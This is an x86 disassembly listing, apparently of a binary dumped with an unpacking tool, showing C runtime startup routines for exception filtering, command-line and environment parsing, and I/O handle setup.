loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2620000h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2610B17h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 2610D94h
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2610B17h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2610DDAh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26107BEh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2610A21h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
